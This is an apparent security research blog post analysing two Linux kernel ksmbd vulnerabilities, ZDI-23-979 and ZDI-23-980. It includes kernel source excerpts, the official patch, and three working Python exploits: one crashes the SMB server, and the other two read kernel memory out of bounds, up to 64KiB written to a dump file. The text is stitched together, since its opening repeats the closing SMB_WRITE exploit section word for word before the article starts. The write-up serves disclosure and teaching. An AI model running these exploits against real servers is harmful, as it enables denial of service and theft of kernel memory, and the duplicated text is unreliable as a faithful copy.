struct smb2_write_req { struct smb2_hdr hdr; __le16 StructureSize; /* Must be 49 */ __le16 DataOffset; /* offset from start of SMB2 header to write data */ __le32 Length; __le64 Offset; __u64 PersistentFileId; /* opaque endianness */ __u64 VolatileFileId; /* opaque endianness */ __le32 Channel; /* MBZ unless SMB3.02 or later */ __le32 RemainingBytes; __le16 WriteChannelInfoOffset; __le16 WriteChannelInfoLength; __le32 Flags; __u8 Buffer[];
} __packed;

The smb2_write_req struct.

  1. Set smb2_write_req->StructureSize = 49
  2. Set smb2_write_req->DataOffset = smb2_write_req->StructureSize + 64 to start reading the content without the packet
  3. Set smb2_write_req->Length = 65536 to write 65536 bytes from the packet to the file
  4. Set smb2_write_req->hdr.NextCommand = smb2_write_req->Length + smb2_write_req->DataOffset to spoof the request size
  5. Open a file in the SMB share in read/write mode: file_id = smb_open("dump.bin", "rw")
  6. Set smb2_write_req->PersistentFileId = file_id
  7. Send the request
  8. Read the file in the SMB share: dump = smb_read(file_id)
#!/usr/bin/env python3 from impacket import smb3
from pwn import p64, p32, p16, p8 def main(username: str, password: str, share: str, filename: str): print("[*] connecting to SMB server...") conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445) print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...") conn.login(user=username, password=password) print(f"[*] connecting to tree/share: '{share}'") tree_id = conn.connectTree(share) packet = smb3.SMB3Packet() packet['Command'] = smb3.SMB2_WRITE StructureSize = 49 DataOffset = 64 + StructureSize # fixed packet size excl buffer Length = 0x10000 # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000) # this is ugly but acquires a RW handle for the '{filename}' file containing the memory file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE, creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE) packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0)) packet["TreeID"] = tree_id packet["NextCommand"] = DataOffset+Length # the end of the buffer is past the end of the packet print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')") conn.sendSMB(packet) print("[*] closing file descriptors...") conn.close(tree_id, file_id) # close fd's bcs impacket is impacket print(f"[*] reading file containing kernel memory: '{filename}'") conn.retrieveFile(share, filename, print) # print file (containing kmem dump) if __name__ == "__main__": main("user", "pass", "files", "dump.bin")

ZDI-23-980 PoC exploit using SMB_WRITE

Conclusion

Thank you for reading my write-up on this Linux kernel vulnerability. I hope you learned about the ksmbd kernel subsystem and that you like the write-up style.

For questions, job inquiries, and other things, please send an email to [email protected] (PGP key).

04 Srp

Unleashing ksmbd: remote exploitation of the Linux kernel (ZDI-23-979, ZDI-23-980)

December 22nd 2022: it's Christmas Thursday, one of the last workdays before the Christmas vacation starts. Whilst everyone was looking forward to opening presents from friends and family, the Zero Day Initiative decided to give the IT community a present as well: immense stress in the form of ZDI-22-1690, an unauthenticated RCE vulnerability in the Linux kernel's ksmbd subsystem.

This vulnerability showed me the way to a buggy subsystem of the Linux kernel: ksmbd. Ksmbd stands for Kernel SMB Daemon which acts as an SMB server (which you may recognize from Windows) in the kernel. SMB is known in the community for the unnecessary complexity and it's resulting vulnerabilities. Imagine the reaction of the Linux developer community when ksmbd was being introduced in the kernel.

I wanted to learn more about SMB and the ksmbd subsystem so I decided to do vulnerability research in this subsystem, with results. In this write-up I will present the exploits and technical analyses behind ZDI-23-979 and ZDI-23-980: network-based unauthenticated Denial-of-Service and network-based (un)authenticated Out-of-Bounds read 64KiB.

Table of Content

  1. An overview of SMB
  2. ZDI-23-979 analysis and proof-of-concept
  3. ZDI-23-980 analysis and proof-of-concept
  4. Conclusion

An overview of SMB

Server Message Block is a file transfer protocol widely used by Windows OS where it can be used to access a NAS or another computer over a network. The most important features of SMB are file reads and writes, accessing directory information and doing authentication. Since the Windows OS tries to integrate SMB, SMB also has many ways of doing authentication for the Windows ecosystem: NTLMSSP, Kerberos 5, Microsoft Kerberos 5, and Kerberos 5 user-to-user (U2U). Ofcourse, the kernel also supports normal authentication like regular passwords.

To prevent extensive resource usage (like disk storage and RAM), SMB has a credit system where each command subtracts credits from the session. If the credits reach 0, the session cannot issue more commands.

N.B. A packet, request and command are different things. The same goes for a session and a connection.

An overview of the definitions of an chained SMB request packet.
An overview of the definitions of an SMB session and connection.

ZDI-23-979: NULL Pointer Dereference Denial-of-Service

ZDI-23-979 is an network-based unauthenticated NULL pointer dereference vulnerability resulting from a logic bug in the session handling of chained SMB request packets. The ksmbd subsystem only handles the session for the first request in the packet, which makes a second request in the packet use the same session instance as well. However, when the first request does not use a session, the second request does consequently not use a session either, even when it is required.

This could hypothetically result in an auth bypass since it skips the session/auth checks, but instead leads to an NULL pointer dereference since it tries to access properties of the request session.

Let's dive in the function __handle_ksmbd_workof v6.3.9, the last vulnerable kernel release. This function gets called for every packet from a connection. As you can see, the function does call __process_request for every request in the packet, but only checks the session for the first request in the packet using conn->ops->check_user_session(work) (explanation below).

static void __handle_ksmbd_work(struct ksmbd_work *work, struct ksmbd_conn *conn)
{ u16 command = 0; int rc; // [snip] (initialize buffers) if (conn->ops->check_user_session) { rc = conn->ops->check_user_session(work); // if rc != 0 goto send (auth failed) if (rc < 0) { command = conn->ops->get_cmd_val(work); conn->ops->set_rsp_status(work, STATUS_USER_SESSION_DELETED); goto send; } else if (rc > 0) { rc = conn->ops->get_ksmbd_tcon(work); if (rc < 0) { conn->ops->set_rsp_status(work, STATUS_NETWORK_NAME_DELETED); goto send; } } } do { rc = __process_request(work, conn, &command); if (rc == SERVER_HANDLER_ABORT) break; // [snip] (set SMB credits) } while (is_chained_smb2_message(work)); if (work->send_no_response) return; send: // [snip] (send response)
}

__handle_ksmbd_work – session handling and request processing per packet.

The function conn->ops->check_user_session(work) checks if the pending request requires a session, and if it does it will check req_hdr->SessionId for existing sessions whereby req_hdr->SessionId is randomly generated during SMB login. If the session check succeeds, then work->sess = ksmbd_session_lookup_all(conn, sess_id) or if the request does not require a session, then work->sess = NULL.

int smb2_check_user_session(struct ksmbd_work *work)
{ struct smb2_hdr *req_hdr = smb2_get_msg(work->request_buf); struct ksmbd_conn *conn = work->conn; unsigned int cmd = conn->ops->get_cmd_val(work); unsigned long long sess_id; /* * SMB2_ECHO, SMB2_NEGOTIATE, SMB2_SESSION_SETUP command do not * require a session id, so no need to validate user session's for * these commands. */ if (cmd == SMB2_ECHO_HE || cmd == SMB2_NEGOTIATE_HE || cmd == SMB2_SESSION_SETUP_HE) return 0; // [snip] (check conn quality) sess_id = le64_to_cpu(req_hdr->SessionId); // [snip] (chained request logic that was unused) /* Check for validity of user session */ work->sess = ksmbd_session_lookup_all(conn, sess_id); if (work->sess) return 1; // [snip] (invalid session handling)
}

smb2_check_user_session – codeblock of SMB validation checks.

Obviously, when the first command is i.e. SMB2_ECHO_HE and the second command is i.e. SMB2_WRITE, the work->sess variable will be NULL in smb2_write(). This will cause a dereference like work->sess->x and hence a NULL pointer derefence. Since NULL pointer dereferences panic the kernel thread, the SMB server will be taken offline while the rest of the kernel remains online. The proof-of-concept exploit for this vulnerability is as follows:

#!/usr/bin/env python3 from impacket import smb3, nmb
from pwn import p64, p32, p16, p8 def main(): print("[*] connecting to SMB server (no login)...") try: conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3) except nmb.NetBIOSTimeout: print("[!] SMB server is already offline (connection timeout)") return # generate innocent SMB_ECHO request request_echo = smb3.SMB3Packet() request_echo['Command'] = smb3.SMB2_ECHO request_echo["Data"] = p16(4) + p16(0) request_echo["NextCommand"] = 64+4 # set NextCommand to indicate request chaining # generate innocent SMB_WRITE request request_write = smb3.SMB3Packet() request_write['Command'] = smb3.SMB2_WRITE request_write["Data"] = p16(49) + p16(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0) request_write["TreeID"] = 0 # chain SMB_WRITE to SMB_ECHO request_echo["Data"] += request_write.getData() print('[*] sending DoS packet...') conn.sendSMB(request_echo) print("[*] probing server health...") try: smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3) print("[!] exploit failed - server remains online") except nmb.NetBIOSTimeout: print("[+] exploit succeeded - server is now offline") if __name__ == "__main__": main()

Proof-of-Concept (PoC) exploit for ZDI-23-979 written in Python code. 

The most important part of the patch is moving the session check into the chained request loop, which results into the session check being executed for each chained request in the packet, instead of just the first one.

+++ b/fs/ksmbd/server.c
@@ -184,24 +184,31 @@ static void __handle_ksmbd_work(struct k goto send; } -	if (conn->ops->check_user_session) {
- rc = conn->ops->check_user_session(work);
- if (rc < 0) {
- command = conn->ops->get_cmd_val(work);
- conn->ops->set_rsp_status(work,
- STATUS_USER_SESSION_DELETED);
- goto send;
- } else if (rc > 0) {
- rc = conn->ops->get_ksmbd_tcon(work);
+	do {
+ if (conn->ops->check_user_session) {
+ rc = conn->ops->check_user_session(work); if (rc < 0) {
- conn->ops->set_rsp_status(work,
- STATUS_NETWORK_NAME_DELETED);
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_USER_SESSION_DELETED); goto send;
+ } else if (rc > 0) {
+ rc = conn->ops->get_ksmbd_tcon(work);
+ if (rc < 0) {
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_NETWORK_NAME_DELETED);
+ goto send;
+ } } }
-	} -	do { rc = __process_request(work, conn, &command); if (rc == SERVER_HANDLER_ABORT) break;
--- a/fs/ksmbd/smb2pdu.c

The official patch for ZDI-23-979.

ZDI-23-980: Out-Of-Bounds Read Information Disclosure

ZDI-23-980 is a network-based (un)authenticated out-of-bounds read in the ksmbd subsystem of the Linux kernel, which allows a user to read up to 65536 consequent bytes from kernel memory. This issue results from an buffer over-read, much like the Heartbleed vulnerability in SSL, where the request packet states that the packet content is larger than it's actual size, resulting in the parsing of the packet with a fake size.

This can be exploited by issueing an SMB_WRITE request with size N to file "dump.bin", whereby the actual request empty is smaller than N. Then, issue an SMB_READ request to download the "dump.bin" file and eventually delete "dump.bin" to remove the exploitation traces.

When I was researching this vulnerability, I also found an unauthenticated OOB read of 2 bytes using SMB_ECHO, but I figured this was less important than the authenticated OOB read of 65536 bytes due to usability (whether or not this was the right decision is up to debate 😉 ). Hence, the CVE description says it's authenticated. I will also discuss the SMB_ECHO and explain the exploitation behind that path. The 2-byte OOB read consists of issue'ing an SMB_ECHO command with the last 2 bytes of the packet not being filled in.

The underlying issue

The underlying issue leading to the OOB read is improper validation of the SMB request packet parameter smb2_hdr.NextCommand containing the offset to the next command. When NextCommand is set, the SMB server assumes that the current command/request is the size of NextCommand. Hence, when I have a packet of size N, I can set NextCommand to N+2, and it will assume the packet is N+2 bytes long. This can be seen in action in the ksmbd_smb2_check_message and smb2_calc_size functions. The function ksmbd_smb2_check_message does several assertions/validations:

hdr->StructureSize == 64
pdu->StructureSize2 == smb2_req_struct_sizes[command] // SMB2_WRITE: 49, SMB2_ECHO: 4
hdr->NextCommand == pdu->StructureSize2 + hdr->StructureSize // SMB_ECHO
hdr->NextCommand == hdr->DataOffset + hdr->Length // SMB_WRITE

The assertions put onto the packet, for validation.

But it does not assert work->next_smb2_rcv_hdr_off + hdr->NextCommand <= get_rfc1002_len(work->request_buf), which is the official patch.

static int smb2_get_data_area_len(unsigned int *off, unsigned int *len, struct smb2_hdr *hdr)
{ int ret = 0; *off = 0; *len = 0; switch (hdr->Command) { // [snip] not reached case SMB2_WRITE: if (((struct smb2_write_req *)hdr)->DataOffset || ((struct smb2_write_req *)hdr)->Length) { *off = max_t(unsigned int, le16_to_cpu(((struct smb2_write_req *)hdr)->DataOffset), offsetof(struct smb2_write_req, Buffer)); *len = le32_to_cpu(((struct smb2_write_req *)hdr)->Length); break; } *off = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoOffset); *len = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoLength); break; // [snip] not reached default: // [snip] not reached } // [snip] return error if offset > 4096 return ret;
} static int smb2_calc_size(void *buf, unsigned int *len)
{ struct smb2_pdu *pdu = (struct smb2_pdu *)buf; struct smb2_hdr *hdr = &pdu->hdr; unsigned int offset; /* the offset from the beginning of SMB to data area */ unsigned int data_length; /* the length of the variable length data area */ int ret; *len = le16_to_cpu(hdr->StructureSize); *len += le16_to_cpu(pdu->StructureSize2); if (has_smb2_data_area[le16_to_cpu(hdr->Command)] == false) { // SMB_ECHO will reach this goto calc_size_exit; } // SMB_WRITE will reach this ret = smb2_get_data_area_len(&offset, &data_length, hdr); // [snip] return error if ret < 0 if (data_length > 0) { // [snip] return error when data overlaps with next cmd *len = offset + data_length; } calc_size_exit: ksmbd_debug(SMB, "SMB2 len %u\n", *len); return 0;
} int ksmbd_smb2_check_message(struct ksmbd_work *work)
{ struct smb2_pdu *pdu = ksmbd_req_buf_next(work); struct smb2_hdr *hdr = &pdu->hdr; int command; __u32 clc_len; /* calculated length */ __u32 len = get_rfc1002_len(work->request_buf); if (le32_to_cpu(hdr->NextCommand) > 0) len = le32_to_cpu(hdr->NextCommand); else if (work->next_smb2_rcv_hdr_off) len -= work->next_smb2_rcv_hdr_off; // [snip] check flag in header if (hdr->StructureSize != SMB2_HEADER_STRUCTURE_SIZE) { // [snip] return error } command = le16_to_cpu(hdr->Command); // [snip] check if command is valid if (smb2_req_struct_sizes[command] != pdu->StructureSize2) { // [snip] return error (with exceptions) } if (smb2_calc_size(hdr, &clc_len)) { // [snip] return error (with exceptions) } if (len != clc_len) { // [snip] return error (with exceptions) } validate_credit: // [snip] irrelevant credit check return 0;
}

The functions causing the vulnerability.

As you can see, for SMB_WRITE we can set an arbitrary packet size by setting hdr->Length and hdr->NextCommand variables to compliment each other. As per SMB_ECHO, we just need to set hdr->NextCommand to the expected value, without actually filling in smb2_echo_req->reserved:

struct smb2_echo_req { struct smb2_hdr hdr; __le16 StructureSize;	/* Must be 4 */ __u16 Reserved;
} __packed;

The smb2_echo_req struct.

Exploitation

To leak 2 bytes using SMB_ECHO:

  1. Set smb2_echo_req->StructureSize = p16(4)
  2. Set smb2_echo_req->hdr.NextCommand = sizeof(smb2_echo_req->hdr) + smb2_echo_req->StructureSize
  3. Send request
  4. Read echo response, with the last 2 bytes being an OOB read.
#!/usr/bin/env python3 from impacket import smb3
from pwn import p64, p32, p16, p8 def main(): print("[*] connecting to SMB server...") conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445) packet = smb3.SMB3Packet() packet['Command'] = smb3.SMB2_ECHO packet["Data"] = p16(0x4) packet["NextCommand"] = 64+4 print("[*] sending OOB read...") conn.sendSMB(packet) print("[*] reading response...") rsp = conn.recvSMB().rawData print(rsp) if __name__ == "__main__": main()

ZDI-23-980 PoC exploit using SMB_ECHO

For the SMB_WRITE path, here's the struct and the steps:

struct smb2_write_req { struct smb2_hdr hdr; __le16 StructureSize; /* Must be 49 */ __le16 DataOffset; /* offset from start of SMB2 header to write data */ __le32 Length; __le64 Offset; __u64 PersistentFileId; /* opaque endianness */ __u64 VolatileFileId; /* opaque endianness */ __le32 Channel; /* MBZ unless SMB3.02 or later */ __le32 RemainingBytes; __le16 WriteChannelInfoOffset; __le16 WriteChannelInfoLength; __le32 Flags; __u8 Buffer[];
} __packed;

The smb2_write_req struct.

  1. Set smb2_write_req->StructureSize = 49
  2. Set smb2_write_req->DataOffset = smb2_write_req->StructureSize + 64 to start reading the content without the packet
  3. Set smb2_write_req->Length = 65536 to write 65536 bytes from the packet to the file
  4. Set smb2_write_req->hdr.NextCommand = smb2_write_req->Length + smb2_write_req->DataOffset to spoof the request size
  5. Open a file in the SMB share in read/write mode: file_id = smb_open("dump.bin", "rw")
  6. Set smb2_write_req->PersistentFileId = file_id
  7. Send the request
  8. Read the file in the SMB share: dump = smb_read(file_id)
#!/usr/bin/env python3 from impacket import smb3
from pwn import p64, p32, p16, p8 def main(username: str, password: str, share: str, filename: str): print("[*] connecting to SMB server...") conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445) print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...") conn.login(user=username, password=password) print(f"[*] connecting to tree/share: '{share}'") tree_id = conn.connectTree(share) packet = smb3.SMB3Packet() packet['Command'] = smb3.SMB2_WRITE StructureSize = 49 DataOffset = 64 + StructureSize # fixed packet size excl buffer Length = 0x10000 # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000) # this is ugly but acquires a RW handle for the '{filename}' file containing the memory file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE, creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE) packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0)) packet["TreeID"] = tree_id packet["NextCommand"] = DataOffset+Length # the end of the buffer is past the end of the packet print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')") conn.sendSMB(packet) print("[*] closing file descriptors...") conn.close(tree_id, file_id) # close fd's bcs impacket is impacket print(f"[*] reading file containing kernel memory: '{filename}'") conn.retrieveFile(share, filename, print) # print file (containing kmem dump) if __name__ == "__main__": main("user", "pass", "files", "dump.bin")

ZDI-23-980 PoC exploit using SMB_WRITE

Conclusion

Thank you for reading my write-up on this Linux kernel vulnerability. I hope you learned about the ksmbd kernel subsystem and that you like the write-up style.

For questions, job inquiries, and other things, please send an email to [email protected] (PGP key).